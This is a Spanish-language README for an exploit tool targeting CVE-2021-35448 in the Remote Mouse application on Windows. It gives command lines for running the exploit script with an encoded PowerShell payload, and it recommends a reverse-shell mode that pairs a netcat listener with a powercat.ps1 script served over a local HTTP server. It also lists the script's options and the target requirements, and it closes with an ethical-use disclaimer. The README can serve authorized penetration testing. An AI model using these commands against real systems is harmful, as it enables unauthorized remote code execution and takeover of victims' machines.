CVE-2021-35448 - Exploit de Remote Mouse

Descripción

Este exploit apunta a la vulnerabilidad CVE-2021-35448 en la aplicación Remote Mouse (anteriormente WiFi Mouse).

POC

CVE-2021-35448.webm

Uso

Sintaxis básica

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

Opciones

• -t, --target: Dirección IP del objetivo (obligatorio)
• -p, --payload: Comando personalizado a ejecutar
• -r, --reverse: Reverse shell en formato IP:PUERTO
• -l, --http: Servidor HTTP local en formato IP:PUERTO (obligatorio con -r)

Ejemplos de uso

1. Comando personalizado

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. Reverse Shell (Recomendado)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

Requisitos previos

Archivos requeridos

• CVE-2021-35448.py: Script principal de explotación
• powercat.ps1: Script de PowerShell para reverse shells

Sistema objetivo

• Remote Mouse instalado y en ejecución
• Sistema Windows (probado en Windows 10)

Advertencia

⚠️ SOLO USO ÉTICO ⚠️

Esta herramienta está destinada únicamente a fines educativos y pruebas de penetración autorizadas. El uso no autorizado de este exploit es ilegal y puede resultar en acciones legales.

Referencias

• WiFi Mouse 1.7.8.5 - Ejecución remota de código
• Detalle de CVE-2021-35448

Autor

Desarrollado con fines educativos y de pruebas de penetración éticas.

Última actualización: 2025